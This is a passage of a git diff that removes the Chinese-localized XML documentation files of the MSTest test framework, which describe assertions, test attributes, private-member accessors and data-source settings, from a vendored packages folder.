如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是: - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是: - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组。 - - - Thrown if is equal to . - - - - - 确定第一个集合是否为第二个 - 集合的子集。如果任一集合包含重复元素,则子集中元素 - 出现的次数必须小于或 - 等于在超集中元素出现的次数。 - - - 测试预期包含在以下对象中的集合: 。 - - - 测试预期要包含的集合 。 - - - 为 True,如果 是一个子集 - ,反之则为 False。 - - - - - 构造包含指定集合中每个元素的出现次数 - 的字典。 - - - 要处理的集合。 - - - 集合中 null 元素的数量。 - - - 包含指定集合中每个元素的发生次数 - 的字典。 - - - - - 在两个集合之间查找不匹配的元素。不匹配的元素是指 - 在预期集合中显示的次数与 - 在实际集合中显示的次数不相同的元素。假定 - 集合是具有相同元素数目 - 的不同非 null 引用。 调用方负责此级别的验证。 - 如果存在不匹配的元素,函数将返回 - false,并且不会使用 out 参数。 - - - 要比较的第一个集合。 - - - 要比较的第二个集合。 - - - 预期出现次数 - 或者如果没有匹配的元素, - 则为 0。 - - - 实际出现次数 - 或者如果没有匹配的元素, - 则为 0。 - - - 不匹配元素(可能为 null),或者如果没有不匹配元素, - 则为 null。 - - - 如果找到不匹配的元素,则为 True;反之则为 False。 - - - - - 使用 Object.Equals 比较对象 - - - - - 框架异常的基类。 - - - - - 初始化 类的新实例。 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 一个强类型资源类,用于查找已本地化的字符串等。 - - - - - 返回此类使用的缓存的 ResourceManager 实例。 - - - - - 使用此强类型资源类为所有资源查找替代 - 当前线程的 CurrentUICulture 属性。 - - - - - 查找类似于“访问字符串具有无效语法。”的已本地化字符串。 - - - - - 查找类似于“预期集合包含 {1} 个 <{2}> 的匹配项。实际集合包含 {3} 个匹配项。{0}”的已本地化字符串。 - - - - - 查找类似于“找到了重复项: <{1}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1}>。实际值的大小写有所不同: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期值 <{1}> 和实际值 <{2}> 之间的预期差异应不大于 <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1} ({2})>。实际为: <{3} ({4})>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1}>。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期值 <{1}> 和实际值 <{2}> 之间的预期差异应大于 <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为除 <{1}>外的任何值。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“不要向 AreSame() 传递值类型。转换为对象的值永远不会相同。请考虑使用 AreEqual()。{0}”的已本地化字符串。 - - - - - 查找类似于“{0} 失败。{1}”的已本地化字符串。 - - - - - 查找类似于“不支持具有 UITestMethodAttribute 的异步 TestMethod。请删除异步或使用 TestMethodAttribute。” 的已本地化字符串。 - - - - - 查找类似于“这两个集合都为空。{0}”的已本地化字符串。 - - - - - 查找类似于“这两个集合包含相同元素。”的已本地化字符串。 - - - - - 查找类似于“这两个集合引用指向同一个集合对象。{0}”的已本地化字符串。 - - - - - 查找类似于“这两个集合包含相同的元素。{0}”的已本地化字符串。 - - - - - 查找类似于“{0}({1})”的已本地化字符串。 - - - - - 查找类似于 "(null)" 的已本地化字符串。 - - - - - 查找类似于“(对象)”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不包含字符串“{1}”。{2}。”的已本地化字符串。 - - - - - 查找类似于“{0} ({1})”的已本地化字符串。 - - - - - 查找类似于“Assert.Equals 不应用于断言。请改用 Assert.AreEqual 和重载。”的已本地化字符串。 - - - - - 查找类似于“集合中的元素数目不匹配。预期为: <{1}>。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“索引 {0} 处的元素不匹配。”的已本地化字符串。 - - - - - 查找类似于“索引 {1} 处的元素不是预期类型。预期类型为: <{2}>。实际类型为: <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“索引 {1} 处的元素为 (null)。预期类型: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不以字符串“{1}”结尾。{2}。”的已本地化字符串。 - - - - - 查找类似于“参数无效 - EqualsTester 不能使用 null。”的已本地化字符串。 - - - - - 查找类似于“无法将类型 {0} 的对象转换为 {1}。”的本地化字符串。 - - - - - 查找类似于“引用的内部对象不再有效。”的已本地化字符串。 - - - - - 查找类似于“参数 {0} 无效。{1}。”的已本地化字符串。 - - - - - 查找类似于“属性 {0} 具有类型 {1};预期类型为 {2}。”的已本地化字符串。 - - - - - 查找类似于“{0} 预期类型: <{1}>。实际类型: <{2}>。”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”与模式“{1}”不匹配。{2}。”的已本地化字符串。 - - - - - 查找类似于“错误类型: <{1}>。实际类型: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”与模式“{1}”匹配。{2}。”的已本地化字符串。 - - - - - 查找类似于“未指定 DataRowAttribute。DataTestMethodAttribute 至少需要一个 DataRowAttribute。”的已本地化字符串。 - - - - - 查找类似于“未引发异常。预期为 {1} 异常。{0}”的已本地化字符串。 - - - - - 查找类似于“参数 {0} 无效。值不能为 null。{1}。”的已本地化字符串。 - - - - - 查找类似于“不同元素数。”的已本地化字符串。 - - - - - 查找类似于 - “找不到具有指定签名的构造函数。可能需要重新生成专用访问器, - 或者成员可能为专用且在基类上进行了定义。如果后者为 true,则需将定义成员的类型传递到 - PrivateObject 的构造函数中。” - 的已本地化字符串。 - - - - - 查找类似于 - “找不到指定成员({0})。可能需要重新生成专用访问器, - 或者成员可能为专用且在基类上进行了定义。如果后者为 true,则需将定义成员的类型 - 传递到 PrivateObject 的构造函数中。” - 的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不以字符串“{1}”开头。{2}。”的已本地化字符串。 - - - - - 查找类似于“预期异常类型必须是 System.Exception 或派生自 System.Exception 的类型。”的已本地化字符串。 - - - - - 查找类似于“(由于出现异常,未能获取 {0} 类型异常的消息。)”的已本地化字符串。 - - - - - 查找类似于“测试方法未引发预期异常 {0}。{1}”的已本地化字符串。 - - - - - 查找类似于“测试方法未引发异常。预期测试方法上定义的属性 {0} 会引发异常。”的已本地化字符串。 - - - - - 查找类似于“测试方法引发异常 {0},但预期为异常 {1}。异常消息: {2}”的已本地化字符串。 - - - - - 查找类似于“测试方法引发异常 {0},但预期为异常 {1} 或从其派生的类型。异常消息: {2}”的已本地化字符串。 - - - - - 查找类似于“引发异常 {2},但预期为异常 {1}。{0} - 异常消息: {3} - 堆栈跟踪: {4}”的已本地化字符串。 - - - - - 单元测试结果 - - - - - 测试已执行,但出现问题。 - 问题可能涉及异常或失败的断言。 - - - - - 测试已完成,但无法确定它是已通过还是失败。 - 可用于已中止的测试。 - - - - - 测试已执行,未出现任何问题。 - - - - - 当前正在执行测试。 - - - - - 尝试执行测试时出现了系统错误。 - - - - - 测试已超时。 - - - - - 用户中止了测试。 - - - - - 测试处于未知状态 - - - - - 为单元测试框架提供帮助程序功能 - - - - - 以递归方式获取包括所有内部异常消息在内的 - 异常消息 - - 获取消息的异常 - 包含错误消息信息的字符串 - - - - 超时枚举,可与 类共同使用。 - 枚举类型必须相符 - - - - - 无限。 - - - - - 测试类属性。 - - - - - 获取可运行此测试的测试方法属性。 - - 在此方法上定义的测试方法属性实例。 - 将用于运行此测试。 - Extensions can override this method to customize how all methods in a class are run. - - - - 测试方法属性。 - - - - - 执行测试方法。 - - 要执行的测试方法。 - 表示测试结果的 TestResult 对象数组。 - Extensions can override this method to customize running a TestMethod. - - - - 测试初始化属性。 - - - - - 测试清理属性。 - - - - - 忽略属性。 - - - - - 测试属性特性。 - - - - - 初始化 类的新实例。 - - - 名称。 - - - 值。 - - - - - 获取名称。 - - - - - 获取值。 - - - - - 类初始化属性。 - - - - - 类清理属性。 - - - - - 程序集初始化属性。 - - - - - 程序集清理属性。 - - - - - 测试所有者 - - - - - 初始化 类的新实例。 - - - 所有者。 - - - - - 获取所有者。 - - - - - 优先级属性;用于指定单元测试的优先级。 - - - - - 初始化 类的新实例。 - - - 属性。 - - - - - 获取属性。 - - - - - 测试的描述 - - - - - 初始化 类的新实例,描述测试。 - - 说明。 - - - - 获取测试的说明。 - - - - - CSS 项目结构 URI - - - - - 为 CSS 项目结构 URI 初始化 类的新实例。 - - CSS 项目结构 URI。 - - - - 获取 CSS 项目结构 URI。 - - - - - CSS 迭代 URI - - - - - 为 CSS 迭代 URI 初始化 类的新实例。 - - CSS 迭代 URI。 - - - - 获取 CSS 迭代 URI。 - - - - - 工作项属性;用来指定与此测试关联的工作项。 - - - - - 为工作项属性初始化 类的新实例。 - - 工作项的 ID。 - - - - 获取关联工作项的 ID。 - - - - - 超时属性;用于指定单元测试的超时。 - - - - - 初始化 类的新实例。 - - - 超时。 - - - - - 初始化含有预设超时的 类的新实例 - - - 超时 - - - - - 获取超时。 - - - - - 要返回到适配器的 TestResult 对象。 - - - - - 初始化 类的新实例。 - - - - - 获取或设置结果的显示名称。这在返回多个结果时很有用。 - 如果为 null,则表示方法名用作了 DisplayName。 - - - - - 获取或设置测试执行的结果。 - - - - - 获取或设置测试失败时引发的异常。 - - - - - 获取或设置由测试代码记录的消息输出。 - - - - - 获取或设置由测试代码记录的消息输出。 - - - - - 通过测试代码获取或设置调试跟踪。 - - - - - Gets or sets the debug traces by test code. - - - - - 获取或设置测试执行的持续时间。 - - - - - 获取或设置数据源中的数据行索引。仅对数据驱动测试的数据行单次运行结果 - 进行设置。 - - - - - 获取或设置测试方法的返回值。(当前始终为 null)。 - - - - - 获取或设置测试附加的结果文件。 - - - - - 为数据驱动测试指定连接字符串、表名和行访问方法。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource 的默认提供程序名称。 - - - - - 默认数据访问方法。 - - - - - 初始化 类的新实例。将使用数据提供程序、连接字符串、数据表和访问数据源的数据访问方法初始化此实例。 - - 不变的数据提供程序名称,例如 System.Data.SqlClient - - 特定于数据提供程序的连接字符串。 - 警告: 连接字符串可能包含敏感数据(例如密码)。 - 连接字符串以纯文本形式存储在源代码和编译程序集中。 - 限制对源代码和程序集的访问以保护此敏感信息。 - - 数据表的名称。 - 指定访问数据的顺序。 - - - - 初始化 类的新实例。将使用连接字符串和表名初始化此实例。 - 指定连接字符串和数据表,访问 OLEDB 数据源。 - - - 特定于数据提供程序的连接字符串。 - 警告: 连接字符串可能包含敏感数据(例如密码)。 - 连接字符串以纯文本形式存储在源代码和编译程序集中。 - 限制对源代码和程序集的访问以保护此敏感信息。 - - 数据表的名称。 - - - - 初始化 类的新实例。将使用数据提供程序和与设置名称关联的连接字符串初始化此实例。 - - 在 app.config 文件中 <microsoft.visualstudio.qualitytools> 部分找到的数据源的名称。 - - - - 获取表示数据源的数据提供程序的值。 - - - 数据提供程序名称。如果数据提供程序未在对象初始化时进行指定,则将返回 System.Data.OleDb 的默认提供程序。 - - - - - 获取表示数据源的连接字符串的值。 - - - - - 获取指示提供数据的表名的值。 - - - - - 获取用于访问数据源的方法。 - - - - 其中一个 值。如果 未初始化,这将返回默认值。 - - - - - 获取 app.config 文件的 <microsoft.visualstudio.qualitytools> 部分中找到的数据源的名称。 - - - - - 可在其中将数据指定为内联的数据驱动测试的属性。 - - - - - 查找所有数据行并执行。 - - - 测试方法。 - - - 一系列。 - - - - - 运行数据驱动测试方法。 - - 要执行的测试方法。 - 数据行。 - 执行的结果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 2d6cc373..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 用來指定每個測試部署的部署項目 (檔案或目錄)。 - 可以指定於測試類別或測試方法。 - 可以有屬性的多個執行個體來指定多個項目。 - 項目路徑可以是相對或絕對路徑,如果是相對路徑,則是 RunConfig.RelativePathRoot 的相對路徑。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - 初始化 類別的新執行個體。 - - 要部署的檔案或目錄。路徑是建置輸出目錄的相對路徑。項目將會複製到與已部署的測試組件相同的目錄。 - - - - 初始化 類別的新執行個體 - - 要部署之檔案或目錄的相對或絕對路徑。路徑是建置輸出目錄的相對路徑。項目將會複製到與已部署的測試組件相同的目錄。 - 要將項目複製到其中之目錄的路徑。它可以是部署目錄的絕對或相對路徑。下者所識別的所有檔案和目錄: 將會複製到這個目錄中。 - - - - 取得要複製之來源檔案或資料夾的路徑。 - - - - - 取得要將項目複製到其中之目錄的路徑。 - - - - - 包含區段、屬性 (property)、屬性 (attribute) 名稱的常值。 - - - - - 組態區段名稱。 - - - - - Beta2 的組態區段名稱。為相容性而保留。 - - - - - 資料來源的區段名稱。 - - - - - 'Name' 的屬性名稱 - - - - - 'ConnectionString' 的屬性名稱 - - - - - 'DataAccessMethod' 的屬性名稱 - - - - - 'DataTable' 的屬性名稱 - - - - - 資料來源元素。 - - - - - 取得或設定此組態的名稱。 - - - - - 取得或設定 .config 檔 <connectionStrings> 區段的 ConnectionStringSettings 元素。 - - - - - 取得或設定運算列表的名稱。 - - - - - 取得或設定資料存取的類型。 - - - - - 取得金鑰名稱。 - - - - - 取得組態屬性。 - - - - - 資料來源元素集合。 - - - - - 初始化 類別的新執行個體。 - - - - - 傳回具有指定索引鍵的組態元素。 - - 要傳回之元素的索引鍵。 - 具有指定索引鍵的 System.Configuration.ConfigurationElement; 否則為 null。 - - - - 取得位在指定索引位置的組態元素。 - - 要傳回之 System.Configuration.ConfigurationElement 的索引位置。 - - - - 將組態元素新增至組態元素集合。 - - 要新增的 System.Configuration.ConfigurationElement。 - - - - 從集合移除 System.Configuration.ConfigurationElement。 - - 。 - - - - 從集合移除 System.Configuration.ConfigurationElement。 - - 要移除之 System.Configuration.ConfigurationElement 的索引鍵。 - - - - 從集合移除所有組態元素物件。 - - - - - 建立新的 。 - - 新的 - - - - 取得指定組態元素的元素索引鍵。 - - 要為其傳回索引鍵的 System.Configuration.ConfigurationElement。 - 用作指定 System.Configuration.ConfigurationElement 之索引鍵的 System.Object。 - - - - 將組態元素新增至組態元素集合。 - - 要新增的 System.Configuration.ConfigurationElement。 - - - - 將組態元素新增至組態元素集合。 - - 要新增指定 System.Configuration.ConfigurationElement 的索引位置。 - 要新增的 System.Configuration.ConfigurationElement。 - - - - 支援測試的組態設定。 - - - - - 取得測試的組態區段。 - - - - - 測試的組態區段。 - - - - - 取得此組態區段的資料來源。 - - - - - 取得屬性集合。 - - - (屬於元素的屬性)。 - - - - - 這個類別代表系統中的即時非公用 INTERNAL 物件 - - - - - 初始化 類別 (內含 - 私用類別的現有物件) 的新執行個體 - - 作為連絡 Private 成員之起點的物件 - 使用 . 的取值字串,指向要以 m_X.m_Y.m_Z 形式擷取的物件 - - - - 初始化 類別 (其包裝 - 指定的類型) 的新執行個體。 - - 組件的名稱 - 完整名稱 - 要傳遞給建構函式的引數 - - - - 初始化 類別 (其包裝 - 指定的類型) 的新執行個體。 - - 組件的名稱 - 完整名稱 - 物件陣列, 物件陣列,代表要取得之建構函式的參數數目、順序和類型 - 要傳遞給建構函式的引數 - - - - 初始化 類別 (其包裝 - 指定的類型) 的新執行個體。 - - 要建立的物件類型 - 要傳遞給建構函式的引數 - - - - 初始化 類別 (其包裝 - 指定的類型) 的新執行個體。 - - 要建立的物件類型 - 物件陣列, 物件陣列,代表要取得之建構函式的參數數目、順序和類型 - 要傳遞給建構函式的引數 - - - - 初始化 類別 (其包裝 - 給定的物件) 的新執行個體。 - - 要包裝的物件 - - - - 初始化 類別 (其包裝 - 給定的物件) 的新執行個體。 - - 要包裝的物件 - PrivateType 物件 - - - - 取得或設定目標 - - - - - 取得基礎物件的類型 - - - - - 傳回目標物件的雜湊碼 - - int,代表目標物件的雜湊碼 - - - - 等於 - - 要與之比較的物件 - 若物件相等則傳回 true。 - - - - 叫用指定的方法 - - 方法的名稱 - 要傳遞給要叫用之成員的引數。 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 物件陣列, 物件陣列,代表要取得之方法的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 物件陣列, 物件陣列,代表要取得之方法的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 對應至泛型引數類型的類型陣列。 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 要傳遞給要叫用之成員的引數。 - 文化特性 (Culture) 資訊 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 物件陣列, 物件陣列,代表要取得之方法的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 文化特性 (Culture) 資訊 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要傳遞給要叫用之成員的引數。 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 物件陣列, 物件陣列,代表要取得之方法的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要傳遞給要叫用之成員的引數。 - 文化特性 (Culture) 資訊 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 物件陣列, 物件陣列,代表要取得之方法的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 文化特性 (Culture) 資訊 - 方法呼叫結果 - - - - 叫用指定的方法 - - 方法名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 物件陣列, 物件陣列,代表要取得之方法的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 文化特性 (Culture) 資訊 - 對應至泛型引數類型的類型陣列。 - 方法呼叫結果 - - - - 取得使用每個維度的下標陣列的陣列元素 - - 成員的名稱 - 陣列索引 - 元素陣列。 - - - - 設定使用每個維度的下標陣列的陣列元素 - - 成員的名稱 - 要設定的值 - 陣列索引 - - - - 取得使用每個維度的下標陣列的陣列元素 - - 成員的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 陣列索引 - 元素陣列。 - - - - 設定使用每個維度的下標陣列的陣列元素 - - 成員的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要設定的值 - 陣列索引 - - - - 取得欄位 - - 欄位的名稱 - 欄位。 - - - - 設定欄位 - - 欄位的名稱 - 要設定的值 - - - - 取得欄位 - - 欄位的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 欄位。 - - - - 設定欄位 - - 欄位的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要設定的值 - - - - 取得欄位或屬性 - - 欄位或屬性名稱 - 欄位或屬性。 - - - - 設定欄位或屬性 - - 欄位或屬性名稱 - 要設定的值 - - - - 取得欄位或屬性 - - 欄位或屬性名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 欄位或屬性。 - - - - 設定欄位或屬性 - - 欄位或屬性名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要設定的值 - - - - 取得屬性 - - 屬性名稱 - 要傳遞給要叫用之成員的引數。 - 屬性。 - - - - 取得屬性 - - 屬性名稱 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 屬性。 - - - - 設定屬性 - - 屬性名稱 - 要設定的值 - 要傳遞給要叫用之成員的引數。 - - - - 設定屬性 - - 屬性名稱 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要設定的值 - 要傳遞給要叫用之成員的引數。 - - - - 取得屬性 - - 屬性的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要傳遞給要叫用之成員的引數。 - 屬性。 - - - - 取得屬性 - - 屬性的名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 屬性。 - - - - 設定屬性 - - 屬性名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要設定的值 - 要傳遞給要叫用之成員的引數。 - - - - 設定屬性 - - 屬性名稱 - 位元遮罩包含一或多個物件 ,這些物件指定如何進行搜尋。 - 要設定的值 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - - - - 驗證存取字串 - - 存取字串 - - - - 叫用成員 - - 成員的名稱 - 其他屬性 - 引動過程的引數 - 文化特性 (Culture) - 引動過程結果 - - - - 從目前私用類型中擷取最適當的泛型方法簽章。 - - 要在其中搜尋簽章快取的方法名稱。 - 對應至要在其中進行搜尋之參數類型的類型陣列。 - 對應至泛型引數類型的類型陣列。 - 進一步篩選方法簽章。 - 參數的修飾詞。 - methodinfo 執行個體。 - - - - 此類別代表私用存取子功能的私用類別。 - - - - - 繫結至所有項目 - - - - - 包裝的類型。 - - - - - 初始化 類別 (其內含私人類型) 的新執行個體。 - - 組件名稱 - 下列項目的完整名稱: - - - - 初始化 類別 (內含 - 類型物件的私用類型) 的新執行個體 - - 要建立的已包裝「類型」。 - - - - 取得參考的類型 - - - - - 叫用靜態成員 - - InvokeHelper 的成員名稱 - 引動過程的引數 - 引動過程結果 - - - - 叫用靜態成員 - - InvokeHelper 的成員名稱 - 物件陣列, 代表要叫用之方法的參數數目、順序和類型 - 引動過程的引數 - 引動過程結果 - - - - 叫用靜態成員 - - InvokeHelper 的成員名稱 - 物件陣列, 代表要叫用之方法的參數數目、順序和類型 - 引動過程的引數 - 對應至泛型引數類型的類型陣列。 - 引動過程結果 - - - - 叫用靜態方法 - - 成員的名稱 - 引動過程的引數 - 文化特性 (Culture) - 引動過程結果 - - - - 叫用靜態方法 - - 成員的名稱 - 物件陣列, 代表要叫用之方法的參數數目、順序和類型 - 引動過程的引數 - 文化特性 (Culture) 資訊 - 引動過程結果 - - - - 叫用靜態方法 - - 成員的名稱 - 其他引動過程屬性 - 引動過程的引數 - 引動過程結果 - - - - 叫用靜態方法 - - 成員的名稱 - 其他引動過程屬性 - 物件陣列, 代表要叫用之方法的參數數目、順序和類型 - 引動過程的引數 - 引動過程結果 - - - - 叫用靜態方法 - - 成員名稱 - 其他引動過程屬性 - 引動過程的引數 - 文化特性 (Culture) - 引動過程結果 - - - - 叫用靜態方法 - - 成員名稱 - 其他引動過程屬性 - /// 物件陣列, 代表要叫用之方法的參數數目、順序和類型 - 引動過程的引數 - 文化特性 (Culture) - 引動過程結果 - - - - 叫用靜態方法 - - 成員名稱 - 其他引動過程屬性 - /// 物件陣列, 代表要叫用之方法的參數數目、順序和類型 - 引動過程的引數 - 文化特性 (Culture) - 對應至泛型引數類型的類型陣列。 - 引動過程結果 - - - - 取得靜態陣列中的元素 - - 陣列的名稱 - - 32 位元整數的一維陣列,代表指定要取得之元素的位置索引。 - 例如,若要存取 a[10][11],索引即為 {10,11} - - 元素 (位於指定的位置) - - - - 設定靜態陣列的成員 - - 陣列的名稱 - 要設定的值 - - 32 位元整數的一維陣列,代表指定要設定之元素的位置索引。 - 例如,若要存取 a[10][11],陣列即為 {10,11} - - - - - 取得靜態陣列中的元素 - - 陣列的名稱 - 其他 InvokeHelper 屬性 - - 32 位元整數的一維陣列,代表指定要取得之元素的位置索引。 - 例如,若要存取 a[10][11],陣列即為 {10,11} - - 元素 (位於指定的位置) - - - - 設定靜態陣列的成員 - - 陣列的名稱 - 其他 InvokeHelper 屬性 - 要設定的值 - - 32 位元整數的一維陣列,代表指定要設定之元素的位置索引。 - 例如,若要存取 a[10][11],陣列即為 {10,11} - - - - - 取得靜態欄位 - - 欄位名稱 - 靜態欄位。 - - - - 設定靜態欄位 - - 欄位名稱 - 引動過程的引數 - - - - 取得使用所指定 InvokeHelper 屬性的靜態欄位 - - 欄位名稱 - 其他引動過程屬性 - 靜態欄位。 - - - - 設定使用繫結屬性的靜態欄位 - - 欄位名稱 - 其他 InvokeHelper 屬性 - 引動過程的引數 - - - - 取得靜態欄位或屬性 - - 欄位或屬性名稱 - 靜態欄位或屬性。 - - - - 設定靜態欄位或屬性 - - 欄位或屬性名稱 - 要設定為欄位或屬性的值 - - - - 取得使用所指定 InvokeHelper 屬性 (attribute) 的靜態欄位或屬性 (property) - - 欄位或屬性名稱 - 其他引動過程屬性 - 靜態欄位或屬性。 - - - - 設定使用繫結屬性 (attribute) 的靜態欄位或屬性 (property) - - 欄位或屬性名稱 - 其他引動過程屬性 - 要設定為欄位或屬性的值 - - - - 取得靜態屬性 - - 欄位或屬性名稱 - 引動過程的引數 - 靜態屬性。 - - - - 設定靜態屬性 - - 屬性名稱 - 要設定為欄位或屬性的值 - 要傳遞給要叫用之成員的引數。 - - - - 設定靜態屬性 - - 屬性名稱 - 要設定為欄位或屬性的值 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - - - - 取得靜態屬性 - - 屬性名稱 - 其他引動過程屬性。 - 要傳遞給要叫用之成員的引數。 - 靜態屬性。 - - - - 取得靜態屬性 - - 屬性名稱 - 其他引動過程屬性。 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - 靜態屬性。 - - - - 設定靜態屬性 - - 屬性名稱 - 其他引動過程屬性。 - 要設定為欄位或屬性的值 - 索引屬性的選擇性索引值。索引屬性的索引是以零為起始。非索引屬性的這個值應該是 null。 - - - - 設定靜態屬性 - - 屬性名稱 - 其他引動過程屬性。 - 要設定為欄位或屬性的值 - 物件陣列, 物件陣列,代表索引屬性的參數數目、順序和類型。 - 要傳遞給要叫用之成員的引數。 - - - - 叫用靜態方法 - - 成員名稱 - 其他引動過程屬性 - 引動過程的引數 - 文化特性 (Culture) - 引動過程結果 - - - - 提供泛型方法的方法簽章探索。 - - - - - 比對這兩種方法的方法簽章。 - - Method1 - Method2 - 若類似即為 true。 - - - - 取得所提供之類型的基底類型階層深度。 - - 類型。 - 深度。 - - - - 使用提供的資訊找出最具衍生性的類型。 - - 候選相符項目。 - 相符項目數目。 - 最具衍生性的方法。 - - - - 如果有一組方法符合基底準則,請根據類型陣列 - 來選取方法。如果沒有方法符合準則,則這個方法 - 應該傳回 null。 - - 繫結規格。 - 候選相符項目 - 類型 - 參數修飾詞。 - 相符方法。若無符合項則為 Null。 - - - - 從提供的兩個方法中,找出最明確的方法。 - - 方法 1 - 方法 1 的參數順序 - 參數陣列類型。 - 方法 2 - 方法 2 的參數順序 - >參數陣列類型。 - 要搜尋的類型。 - 引數 - 代表相符項目的 int。 - - - - 從提供的兩個方法中,找出最明確的方法。 - - 方法 1 - 方法 1 的參數順序 - 參數陣列類型。 - 方法 2 - 方法 2 的參數順序 - >參數陣列類型。 - 要搜尋的類型。 - 引數 - 代表相符項目的 int。 - - - - 在提供的兩項中找出最明確的類型。 - - 類型 1 - 類型 2 - 定義類型 - 代表相符項目的 int。 - - - - 用來儲存提供給單元測試的資訊。 - - - - - 取得測試的測試屬性。 - - - - - 在測試用於資料驅動測試時,取得目前資料連線資料列。 - - - - - 在測試用於資料驅動測試時,取得目前資料連線資料列。 - - - - - 取得測試回合的基底目錄,部署的檔案及結果檔案或儲存在其下。 - - - - - 為部署用於測試回合的檔案取得目錄。通常為 的子目錄。 - - - - - 取得測試回合結果的基底目錄。通常為 的子目錄。 - - - - - 為測試回合結果檔案取得目錄。通常為 的子目錄。 - - - - - 取得測試結果檔案的目錄。 - - - - - 